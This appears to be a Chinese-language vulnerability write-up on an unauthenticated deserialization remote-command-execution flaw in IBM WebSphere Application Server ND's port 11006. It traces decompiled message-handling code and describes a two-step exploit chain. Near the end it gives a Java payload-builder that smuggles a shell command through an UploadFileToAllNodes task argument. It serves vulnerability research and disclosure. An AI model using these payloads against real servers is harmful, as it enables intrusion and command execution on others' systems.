请问这个分析的代码在哪儿可以找到呢
漏洞起因、简介
Websphere ND的集群管理节点预留端口 "管理覆盖层 TCP 端口" 11006端口接收不可信数据反序列化可造成命令执行
Websphere Application Server ND 在创建管理节点概要文件,
起管理端口为
11005(UDP)
11006(TCP)
数据传输的方式采用序列化传输,而且不需要验证身份。端口默认对外
漏洞分析
步骤概要:
1.序列化TcpNodeMessage消息对象发送到服务器进行处理
2.序列化BcastMsgRunTask消息对象发送到服务器造成RCE
数据解析:
类:com.ibm.son.mesh.CfwTCPImpl
核心方法"completedRead(VirtualConnection var1, TCPReadRequestContext var2)"
private void completedRead(VirtualConnection var1, TCPReadRequestContext var2) {
boolean var3 = this.peer.isStateStopped();
if (this.ls.isDebugEnabled()) {
this.ls.debug("CfwTCPImpl#completedRead() " + this + "; peerStopped=" + var3 + ", quiet=" + this.quiet);
}
this.readPending = false;
if (!var3 && !this.quiet) {
while(true) {
boolean var4 = this.isClosed();
//读入数据流
WsByteBuffer var5 = var2.getBuffer();
int var6 = var5.position();
int var7 = var6 - this.inputStartPos;
int var8 = var5.limit();
int var9 = var8 - var6;
if (this.ls.isDebugEnabled()) {
this.ls.debug("CfwTCPImpl#completedRead() loop " + this + "; peerStopped=" + var3 + ", quiet=" + this.quiet + ", openPending=" + this.openPending + ", closePending=" + this.closePending + ", isClosed=" + var4 + ", readingHeader=" + this.readingHeader + ", inputStartPos=" + this.inputStartPos + ", pos=" + var6 + ", sofar=" + var7 + ", inputMsgLen=" + this.inputMsgLen + ", rembuf=" + var9 + ", inBuffer=" + fi(var5) + ", headerBuffer=" + fi(this.headerBuffer));
}
if (this.closePending) {
if (!this.writeInProgress && !this.openPending) {
this.closeLinks();
}
return;
}
if (var4) {
return;
}
if (this.closeLinksInvoked) {
String var17 = "closeLinksInvoked inside completedRead(" + this + ")";
this.ls.severe("SON_EThrow", new Exception(var17));
return;
}
//头解析
int var12;
if (var7 >= this.inputMsgLen) {
if (this.readingHeader) {
var5.position(this.inputStartPos);
var5.get(this.headerArray, 0, 8);
var5.position(var6);
this.inputStartPos += 8;
this.readingHeader = false;
this.inputMsgLen = 0;
int var15 = Util.bytesToInt(this.headerArray);
//头4个字节检验:这里读出数据包前4个字节转为int判断是否等于"963622730",不等于最后会return
if (var15 != 963622730) {
StringBuffer var20 = new StringBuffer();
var20.append("CfwTCPImpl#completeRead() " + this + " bad magic number. Full header contents: \n");
for(var12 = 0; var12 < 8; ++var12) {
var20.append(this.headerArray[var12]);
var20.append(" ");
}
this.ls.debug(var20.toString());
IOException var21 = new IOException("Bad magic number (" + var15 + ", expected " + 963622730 + ") received over " + this);
FFDCFilter.processException(var21, this.getClass().getName() + ".complete", "325");
if (shouldComplainMagic(this.remoteAddress)) {
this.ls.warning("SON_WThrow", var21);
}
this.handleIOExceptionWithoutNodeFailureAnnouncement(var21);
return;
}
//读出头部后4位字节, 确定消息长度
this.inputMsgLen = Util.bytesToInt(this.headerArray, 4);
if (this.inputMsgLen <= 0) {
if (this.ls.isDebugEnabled()) {
this.ls.debug("CfwTCPImpl#completeRead() bad length: " + this.inputMsgLen + " " + this);
}
IOException var19 = new IOException("Bad Message Length " + this.inputMsgLen + " received over " + this);
this.handleIOExceptionWithoutNodeFailureAnnouncement(var19);
return;
}
} else {
//消息长度来自于头部后4个字节
var12 = this.inputMsgLen;
byte[] var16;
int var22;
if (var5.hasArray()) {
var16 = var5.array();
var22 = var5.arrayOffset() + this.inputStartPos;
} else {
var16 = new byte[this.inputMsgLen];
var5.position(this.inputStartPos);
var22 = 0;
var5.get(var16, 0, this.inputMsgLen);
var5.position(var6);
}
this.inputStartPos += this.inputMsgLen;
this.readingHeader = true;
this.inputMsgLen = 8;
try {
//进一步接收消息并解析(反序列化)
this.procReceivedMessage(var16, var22, var12);
} catch (IOException var14) {
this.handleIOException(var14);
return;
}
}
} else {
boolean var10 = var7 != 0 || !this.readingHeader || var5 == this.headerBuffer;
if (var8 - this.inputStartPos >= this.inputMsgLen && var10) {
if (this.ls.isDebugEnabled()) {
this.ls.debug("enough room in remaining buffer");
}
} else if (var7 == 0 && var8 >= this.inputMsgLen && var10) {
if (this.ls.isDebugEnabled()) {
this.ls.debug("enough room in whole buffer");
}
var5.position(this.inputStartPos = 0);
} else if (this.readingHeader && var5 == this.headerBuffer) {
if (this.ls.isDebugEnabled()) {
this.ls.debug("enough room in header buffer");
}
var5.position(this.inputStartPos);
var5.get(this.headerArray, 0, var7);
var5.clear();
var5.put(this.headerArray, this.inputStartPos = 0, var7);
} else {
WsByteBuffer var11;
if (this.readingHeader) {
var11 = this.headerBuffer;
var11.clear();
} else {
var11 = this.allocReadBuffer(this.inputMsgLen, false);
}
if (var7 > 0) {
var5.flip();
var5.position(this.inputStartPos);
var11.put(var5);
}
var2.setBuffer(var11);
this.releaseReadBuffer(var5, this.headerBuffer);
if (this.ls.isDebugEnabled()) {
this.ls.debug("Switching from buffer " + fi(var5) + " to " + fi(var11));
}
this.inputStartPos = 0;
var6 = var11.position();
}
this.readPending = true;
int var13;
VirtualConnection var18;
if (this.readingHeader && var7 == 0) {
var12 = 1;
long var10001 = (long)1;
int var10004 = this.msgArrivalTimeout > 0 ? this.msgArrivalTimeout : -1;
var13 = var10004;
var18 = this.rrc.read(var10001, this, false, var10004);
} else {
var18 = this.rrc.read((long)(var12 = this.inputMsgLen - var7), this, false, var13 = this.tcpReadTimeout);
}
if (var18 == null) {
if (this.ls.isDebugEnabled()) {
this.ls.debug("CfwTCPImpl#completedRead() blocked; header incomplete; readLen=" + var12 + " timeout=" + var13 + "; The callback will be invoked later. " + this);
}
return;
}
this.readPending = false;
}
}
} else {
if (this.ls.isDebugEnabled()) {
this.ls.debug("Quiet or peer already closed. Ignore the completed read.");
}
}
}
可以看到上面注释的几个关键点:
- 解析头部
- 解析消息长度(根据头部的后4个字节确认消息长度)
- 处理消息
大概流程:
- 读出头部(前8个字节 注:实际POC有9个字节前4字节为头检验,后4字节为消息长度,最后一个字节为\x00)
- 验证前4个字节的值(头校验)
- 读出后4个字节,确认消息长度
- 处理完头数据,继续while循环根据消息长度取出消息并进行进一步解析
消息解析:
继续跟进"procReceivedMessage(byte[] var1, int var2, int var3)"方法:
这个方法在父类"com.ibm.son.mesh.AbstractTCPImpl"中:
protected void procReceivedMessage(byte[] var1, int var2, int var3) throws IOException {
Neighbor var4 = this.getNeighbor();
if (var4 != null) {
var4.setLastMsgTime();
}
Message var5;
try {
long var6 = System.nanoTime();
//对消息反序列化
var5 = (Message)Util.deserialize(var1, var2, var3);
long var8 = System.nanoTime();
this.peer.netStats.finishReadTcp(var5, var1, var2, var3, true, var8 - var6);
} catch (IOException var15) {
this.peer.warning(var15);
return;
}
var5.setLength(var3);
if (WASConfig.useTcpChannelFramework && this.peer.isStateStopped()) {
if (var5.type == 57) {
this.hardClose();
}
} else {
//继续处理消息
Message var16 = this.procMessage(var5);
//如果返回的结果不为Null, 这里会广播到各个节点
if (var16 != null) {
boolean var7 = Thread.holdsLock(this.peer);
long var9;
long var11;
byte[] var17;
try {
var9 = System.nanoTime();
var17 = Util.serializeWithHeader(var16, this.peer);
var11 = System.nanoTime();
} catch (IOException var14) {
this.peer.panic(var14);
return;
}
if (var7) {
this.peer.netStats.finishWriteTcp(var16, var17, false, var11 - var9, var17.length);
}
//广播
this.sendData(var17, var16.ID, (AfterMsgSentCallback)null);
}
}
}
我们的发送的序列化Payload1(TcpNodeMessage)被反序列化之后并进行处理
消息处理:
继续跟进"procMessage(Message var1)"方法:
public Message procMessage(Message var1) {
if (this.ls.isDebugEnabled()) {
this.ls.fine("Received TCP message " + var1 + " from " + this);
}
if (this.nextMsgProcessor != null) {
Message var2 = this.nextMsgProcessor.procMessage(this, var1);
if (this.ls.isDebugEnabled() && var2 != null) {
this.ls.fine("Reply to " + this + " message: " + var2);
}
if (var1.isProcessed()) {
return var2;
}
}
//取出消息处理器Iterator
Iterator var5 = this.peer.tcp.protocolStackIterator();
Message var4;
//循环处理
do {
if (!var5.hasNext()) {
if ((var1.type & 268435456) != 0) {
if (Config.DEBUG) {
this.peer.warning("A received message from " + this + " is not processed by any stack and discarded [" + var1 + "]. The message class is " + var1.getClass().getName() + ". The TCP connection is closed as this is an auto-close message.");
}
this.hardClose();
} else if (Config.DEBUG) {
this.peer.warning("A received message from " + this + " is not processed by any stack and discarded [" + var1 + "]. The message class is " + var1.getClass().getName());
}
return null;
}
ProtocolTCP var3 = (ProtocolTCP)var5.next();
//处理
var4 = var3.procMessage(this, var1);
if (this.ls.isDebugEnabled() && var4 != null) {
this.ls.fine("Reply to " + this + " message: " + var4);
}
} while(!var1.isProcessed());
return var4;
}
这里是取出了消息处理器(List)对消息循环处理
TcpMsgTypeBasedDispatcher 处理器:
在处理器中有一个类"com.ibm.son.mesh.TcpMsgTypeBasedDispatcher",需要重点关注
来看TcpMsgTypeBasedDispatcher.procMessage(TCP var1, Message var2):
public Message procMessage(TCP var1, Message var2) {
this.tmpType.type = var2.type;
//根据消息Type拿出处理器进行处理
ProtocolTCP var3 = (ProtocolTCP)this.protocols.get(this.tmpType);
return var3 == null ? null : var3.procMessage(var1, var2);
}
这里想要什么处理器来处理是可以自定义的
因为Message对象就是我们序列化的TcpNodeMessage对象,这里的Type自定为12,可以看到拿到的是一个"com.ibm.son.mesh.MemberMgr"
MemberMgr 处理器:
跟进"procMessage(TCP var1, Message var2)"方法:
public Message procMessage(TCP var1, Message var2) {
if (this.peer.isDebugEnabled() && var2.type != 12 && var2.type != 22 && var2.type != 23) {
this.peer.panic("Wrong message type: " + var2);
}
TcpNodeMessage var4 = (TcpNodeMessage)var2;
if (this.peer.isDebugEnabled()) {
this.peer.fine("Received NEW_NBR_REQ from " + var4);
}
int var5 = var2.type;
//至Type为-1
var2.markProcessed();
//查找是否存在对应节点
Node var6 = this.members.find(var4.ip, var4.udpPort);
Node var7;
//不存在对应节点则生成一个新节点赋值给Var7,之后会注册这个节点
if (var6 == null) {
var7 = new Node(var4.ip, var4.udpPort, var4.tcpPort, var4.bootTime, var4.nodeProperty, this.peer.bigKey);
} else {
var7 = var6;
}
boolean var3;
Neighbor var8;
if (this.neighbors.find(var7) != null) {
var3 = false;
if (this.peer.isDebugEnabled()) {
this.peer.fine("Reject the new neighbor request: already a neighbor. Neighbors: " + this.neighbors.toString());
}
} else if (var5 != 22 && var5 != 23 && !Config.alwaysAcceptNewNeighbor && this.neighbors.size() >= Config.numNbrsHigh) {
var3 = false;
if (this.peer.isDebugEnabled()) {
this.peer.fine("Reject: Not NEW_NBR_REQ_PREDECESSOR/SUCCESSOR message and too many neighbors (" + this.neighbors.size() + ")");
}
} else {
var8 = this.pendingNeighbors.find(var7);
if (var8 == null) {
if (Config.structuredGateways && !isCellIdentical(this.peer.thisNode, var7)) {
if (this.peer.thisNode.getNodeProperty().isStructuredGateway()) {
var3 = true;
if (this.peer.isDebugEnabled()) {
this.peer.fine("we are a structured gateway");
if (var7.getNodeProperty().isStructuredGateway()) {
this.peer.fine("Accept: the neighbor request is from a remote structured gateway: neighbors (" + this.neighbors.size() + ")");
} else {
this.peer.fine("WARN: Accept: the neighbor request is from a remote cell but is NOT a strucutred gateway: neighbors (" + this.neighbors.size() + ")");
}
}
} else {
var3 = false;
if (this.peer.isDebugEnabled()) {
this.peer.fine("Reject: we are NOT a structured gateway and the neighbor request is from a remote cell: neighbors (" + this.neighbors.size() + ")");
}
}
} else {
var3 = true;
if (this.peer.isDebugEnabled()) {
this.peer.fine("Accept: no excessive neighbors (" + this.neighbors.size() + ")");
}
}
} else {
int var9 = SonInetAddress.compareIP(this.peer.thisNode.ip, var4.ip);
if (var9 < 0 || var9 == 0 && this.peer.thisNode.udpPort < var4.udpPort) {
if (this.peer.isDebugEnabled()) {
this.peer.fine("Accept: the new neighbor request is from a pending neighbor and this node is the loser with smaller IP/UDP.");
}
var3 = true;
this.pendingNeighbors.remove(var8);
var8.setFailureHandlingCode(0);
var8.softClose();
} else {
var3 = false;
if (this.peer.isDebugEnabled()) {
this.peer.fine("Reject: the new neighbor request is from a pending neighbor and this node is the winner with bigger IP/UDP.");
}
}
}
}
if (!var3) {
if (this.peer.isDebugEnabled()) {
this.peer.fine("Send NEW_NBR_ANS_NO to " + var1);
}
return new Message(14);
//走的这个if
} else if (var6 == null) {
if (this.peer.isDebugEnabled()) {
this.peer.fine("This new neighbor is a new node: " + var7 + ". Confirm it through TCP.");
}
/**
* 初始化节点,并为当前TCP连接设置处理器属性"nextMsgProcessor"
* 然后获取当前TCP连接发起请求,消息为Message对象(Type 66) */
new ConfirmNewNbrThroughTcp(this.peer, var7, var1, "A new neighbor is also a new node");
return null;
} else if (var7.bootTime < var4.bootTime) {
if (this.peer.isDebugEnabled()) {
this.peer.fine("This new neighbor is a known node: " + var7 + ", but the neighbor's bootTime is newer. Confirm it through TCP.");
}
this.updateExistingNodeBootTime(var7, var4.bootTime, var4.tcpPort, var4.nodeProperty);
new ConfirmNewNbrThroughTcp(this.peer, var7, var1, "A new neighbor is a known node but with a newer bootTime");
return null;
} else {
if (this.peer.isDebugEnabled()) {
this.peer.fine("Send NEW_NBR_ANS_YES to " + var1);
}
var8 = new Neighbor(this.peer, var7, var1);
Message var11 = new Message(13);
Message var10 = this.addNeighbor(var8, var11);
return var10;
}
}
最重要的就是这两行
new ConfirmNewNbrThroughTcp(this.peer, var7, var1, "A new neighbor is also a new node");
return null;
这里初始化了一个节点,然后返回了Null
初始化节点:
跟进"com.ibm.son.mesh.ConfirmNewNbrThroughTcp"的构造器,涉及重要代码如下:
ConfirmNewNbrThroughTcp(Peer var1, Node var2, TCP var3, String var4) {
this.nbrTcp = var3;
this.init(var1, var2, var4);
}
//父类ConfirmNewNodeThroughTcp.class的init()
void init(Peer var1, Node var2, String var3) {
this.peer = var1;
this.newNodeToConfirm = var2;
this.newNodeAnnounceMsg = var3;
TCP var4 = null;
try {
//初始化一个节点,并且连接至TCP端口发送Message对象(Type为66), 传入的peer即当前线程
var4 = TCPFactory.getTCP(this.newNodeToConfirm.ip, this.newNodeToConfirm.tcpPort, this, this.peer);
//设置nextMsgProcessor为自身
var4.setNextMsgProcessor(this);
var4.addTcpCloseMonitor(this);
} catch (IOException var6) {
if (this.peer.isDebugEnabled()) {
this.peer.fine(var6);
}
if (var4 != null) {
var4.hardClose();
}
this.confirmFailed();
}
}
Message(Type 66)消息处理:
在发送第一个消息TcpNodeMessage对象之后短时间内会接收到一个消息为Message对象(Type值为66)
如下图所示,接收到Message对象
如何处理Message (Type 66):
这里可以看到Type66取出的处理器是"com.ibm.son.mesh.ProcTestTcpPing"
跟进:
这里直接是返回一个Message对象Type为67
那么返回的值不为Null, 则会广播这个消息出去:
Message (Type 67)消息处理:
当Message(Type 66)处理完之后马上会收到Message(Type 67)的消息,如下图所示:
跟进如下:
这里是之前TcpNodeMessage调用MemberMgr处理器设定的nextMsgProcessor属性:
继续跟进:
public Message procMessage(TCP var1, Message var2) {
//限定类型,只允许Type为67的Message进入
if (var2.type != 67) {
return null;
} else {
if (this.peer.isDebugEnabled()) {
this.peer.fine("Received TEST_TCP_PONG from " + var1);
}
var2.markProcessed();
Node var3 = this.peer.memberMgr.members.find(this.newNodeToConfirm);
Message var4 = null;
//如果Tcp处于连接状态
if (this.nbrTcp.isConnected()) {
if (this.peer.isDebugEnabled()) {
this.peer.fine("ConfirmNewNbr: New neighbor " + this.newNodeToConfirm + " has been confirmed, and still exists. Accept it as new neighbor.");
}
//设置Neighbor
Neighbor var5 = new Neighbor(this.peer, var3 == null ? this.newNodeToConfirm : var3, this.nbrTcp);
Message var6 = new Message(13);
var4 = this.peer.memberMgr.addNeighbor(var5, var6);
}
if (var3 == null) {
if (this.peer.isDebugEnabled()) {
this.peer.fine("ConfirmNewNbr: New neighbor " + this.newNodeToConfirm + " has been confirmed, and is not a member. Add it locally and globaly.");
}
this.peer.memberMgr.addNode(this.newNodeToConfirm);
this.peer.memberMgr.sendToAllNeighbors(new NodeBroadcastMessage(80001, this.newNodeToConfirm, this.peer, this.newNodeAnnounceMsg), this.newNodeToConfirm);
} else if (this.peer.isDebugEnabled()) {
this.peer.fine("ConfirmNewNbr: the confirmed new neighbor " + this.newNodeToConfirm + " is already a member. Ignore.");
}
if (var4 != null) {
try {
this.nbrTcp.send(var4);
} catch (IOException var7) {
this.nbrTcp.handleIOException(var7);
}
}
if (this.peer.isDebugEnabled()) {
this.peer.fine("ConfirmNewNbr: Close test tcp " + var1);
}
var1.removeTcpCloseMonitor(this);
var1.hardClose();
return null;
}
上面的代码只需要关注两个地方:
1.判断Tcp是否处于连接状态
if (this.nbrTcp.isConnected())
2.设置Neighbor
Neighbor var5 = new Neighbor(this.peer, var3 == null ? this.newNodeToConfirm : var3, this.nbrTcp);
Neighbor的构造器如下:
BcastMsgRunTask.class Payload构造:
上面第一个TcpNodeMessage的Payload已经分析的差不多了
至于为什么需要第1个Payload,是为了第2个Payload做的铺垫
因为第2个Payload要想实现RCE必须让Neighbor属性不为Null溯源BcastMsgRunTask的父类可以发现也是Message类
Payload生成对象如下:
这里的Message Type为41
BcastMsgRunTask Payload解析过程:
这里省略数据解析的过程,只看Process如何处理
迭代出来的第1个处理器"com.ibm.son.mesh.TCPBroadcastFilter"
可以看到首先判断了对象类型,这里BcastMsgRunTask的父类就是"BcastFloodMsg",所以可以跟进:
public Message procMessage(TCP var1, Message var2) {
//判断消息类型是否是“BcastFloodMsg”
if (!(var2 instanceof BcastFloodMsg)) {
return null;
} else {
BcastFloodMsg var3 = (BcastFloodMsg)var2;
this.tmpMsgRecved.setMsg(var3.sourceIP, var3.sourceUdpPort, var3.sourceMsgID);
TCPBroadcastFilter.MsgRecved var4;
//判断接收的消息是否已经存在了一个临时的Key,这里进入了if
if (!this.recvedMsgs.containsKey(this.tmpMsgRecved) && !this.recvedMsgs2.containsKey(this.tmpMsgRecved)) {
if (SonInetAddress.equalIP(var3.sourceIP, this.peer.thisNode.ip) && var3.sourceUdpPort == this.peer.thisNode.udpPort) {
this.peer.warning("A broadcast message is back to the sender: " + var2 + " received from " + var1);
var2.markProcessed();
return null;
//如果当前线程不是受管节点
} else if (!MemberMgr.isNodeInterestedInMsg(this.peer.thisNode, var2.getOriginatingCell())) {
this.peer.severe("starTop: Recieved boadcast message " + var2 + " however it originated in a cell we are not interested in: " + var2.getOriginatingCell());
var2.markProcessed();
return null;
//进入到了这个else
} else {
var4 = new TCPBroadcastFilter.MsgRecved(this.tmpMsgRecved);
if (this.peer.isDebugEnabled()) {
this.peer.fine("Received new broadcast message " + var3 + " originated at: " + var4.toString());
}
this.recvedMsgs.put(var4, var4);
return null;
}
} else {
if (this.peer.isDebugEnabled()) {
var4 = (TCPBroadcastFilter.MsgRecved)this.recvedMsgs.get(this.tmpMsgRecved);
if (var4 == null) {
var4 = (TCPBroadcastFilter.MsgRecved)this.recvedMsgs2.get(this.tmpMsgRecved);
if (var4 == null) {
this.peer.panic("Shouldn't be null");
}
}
if (this.peer.isDebugEnabled()) {
this.peer.fine("Duplicate broadcast message (type=" + var2.type + ") " + var4.toString() + " has been receive before.");
}
}
var2.markProcessed();
return null;
}
}
}
这个处理器返回的是一个Null值,但是很重要,因为如果条件不符合会调用var2.markProcessed();,至Type为-1.
继续跟进下一个处理器"TcpMsgTypeBasedDispatcher"
得到一个"RpcServerDispatcher.ProcRunTaskOnAllNodes"处理器:
RpcServerDispatcher.ProcRunTaskOnAllNodes 消息处理器:
public Message procMessage(TCP var1, Message var2) {
if (RpcServerDispatcher.DEBUG && var2.type != 41) {
RpcServerDispatcher.this.peer.panic("Wrong message type: " + var2);
}
return RpcServerDispatcher.this.procRunTaskOnAllNodesTcp(var1, var2);
}
继续跟进"RpcServerDispatcher.this.procRunTaskOnAllNodesTcp(var1, var2)":
protected Message procRunTaskOnAllNodesTcp(TCP var1, Message var2) {
if (DEBUG) {
this.peer.fine("Received RUN_TASK_ON_ALL_NODES from " + var1);
}
//将此消息转发给Neighbors,这里会调用Neighbors的方法,所以这也是为什么上面要通过Payload1让Neighbors不为Null的原因,如果是Null这里就会抛空指针异常
this.peer.forwardTcpBcast(var2, var1);
//置消息Type为-1
var2.markProcessed();
BcastMsgRunTask var3 = (BcastMsgRunTask)var2;
byte var4;
Object var5;
try {
//调用Task.run()
var5 = this.invoke(var3.task, var3.taskArgument, (TaskOutputConsumer)null);
var4 = 2;
} catch (Exception var7) {
var5 = Util.getTraceString(var7);
var4 = 1;
}
new RunTaskOnAllNodesTcpOutputCollector(this.peer, var1, var3, (Serializable)var5, var4);
return null;
}
代码有几处重要的地方:
1.转发消息(通过第1步发送的Payload(TcpNodeMessage))作用就是让这个不为Null
this.peer.forwardTcpBcast(var2, var1);
2.执行任务(可控对象,可控参数)
var5 = this.invoke(var3.task, var3.taskArgument, (TaskOutputConsumer)null);
执行任务:
继续跟进RpcServerDispatcher的invoke方法
public Serializable invoke(String var1, Serializable var2, TaskOutputConsumer var3) throws Exception {
//相当于一个Cache,加载过了就直接从容器里面拿
Task var4 = (Task)this.rpcFuncInst.get(var1);
if (var4 == null) {
if (DEBUG) {
this.peer.fine("Create one instance for task " + var1 + " for the first time.");
}
//容器中找不到就Class.forName去加载。并且添加到容器内
Class var5 = Class.forName(var1);
var4 = (Task)var5.newInstance();
this.rpcFuncInst.put(var1, var4);
var4.init(this.peer);
} else if (DEBUG) {
this.peer.fine("An instance for task " + var1 + " already exists.");
}
//执行Task.run
return var4.run(var2, var3);
}
这里就触发了com.ibm.son.plugin.UploadFileToAllNodes的run方法:
POC
java版poc, 计算器坏了弹个Mstsc.exe
流程:
- 与服务器建立TCP连接,端口号11006
- 把序列化的TcpNodeMessage消息对象发送到服务器反序列化,消息处理后会注册ip为0.0.0.0的节点,并把当前TCP连接一起传入广播消息(Message Type 66, Message Type 67)。最后使当前TCP连接注册neighbor
- 把序列化的BcastMsgRunTask消息对象发送到服务器反序列化,执行任务,类:"com.ibm.son.plugin.UploadFileToAllNodes",参数可控造成远程RCE
基于此漏洞衍生出的另一种Payload
在前面已经说了利用此漏洞需要分两步
1.发送TcpNodeMessage
2.发送BcastMsgRunTask
由于实际中可能碰到的复杂情况非常之多,且在第一步发送TcpNodeMessage之后需要sleep几秒钟,也就是说还和网络状况挂钩,所以不确定因素很大。在实战中肯定是需求的步骤越少越好,一次性利用。所以根据深入研究发现存在另一种与此相似的Payload只需请求一次即可触发RCE
RpcServerDispatcher消息处理器
RpcServerDispatcher消息处理器相比RpcServerDispatcher.ProcRunTaskOnAllNodes消息处理器不需要neighbor不为Null, 只需要发送一个Payload即可完成利用:
相关处理代码如下:
public Message procMessage(final TCP var1, Message var2) {
if (DEBUG && var2.type != 38) {
this.peer.panic("Wrong message type: " + var2);
}
var2.markProcessed();
try {
RpcInvokeMessage var3 = (RpcInvokeMessage)var2;
class RpcTaskOutputConsumer implements TaskOutputConsumer {
RpcTaskOutputConsumer() {
}
public void consumeTaskOutput(Serializable var1x) {
try {
var1.send(new RpcResponseMessage(39, new RpcResponse("OK", var1x)));
} catch (IOException var3) {
var1.handleIOException(var3);
}
}
}
RpcTaskOutputConsumer var4 = new RpcTaskOutputConsumer();
Serializable var5 = this.invoke(var3.func, var3.argument, var4);
return var5 == var4.getClass() ? null : new RpcResponseMessage(39, new RpcResponse("OK", var5));
} catch (Exception var6) {
this.peer.warning(Util.getTraceString(var6));
return new RpcResponseMessage(39, new RpcResponse(Util.getTraceString(var6), (Serializable)null));
}
}
可以看上述代码,传入的Message对象是一个"RpcInvokeMessage", 然后直接拿出里面的属性传入invoke方法。
和之前分析文章的触发点一样,但这个没有neighbor的限制
构建RpcInvokeMessage对象:
public byte[] getRpcInvokeMessageObj(String op, String command) throws Exception {
UploadFileArgument arg = new UploadFileArgument(".0osf1.tmp", new byte[]{0}, String.format("%s %s && ",op ,command));
Object obj = new RpcInvokeMessage(38, "com.ibm.son.plugin.UploadFileToAllNodes", arg);
return Serializer.serialize(obj);
}
和原先的差不多,只是把BcastMsgRunTask换成了RpcInvokeMessage,且消息类型为38
在建立TCP连接之后直接发送这个Payload即可完成利用
影响版本:
WebSphere Application Server ND 9.0
WebSphere Application Server ND 8.5
WebSphere Virtual Enterprise V7.0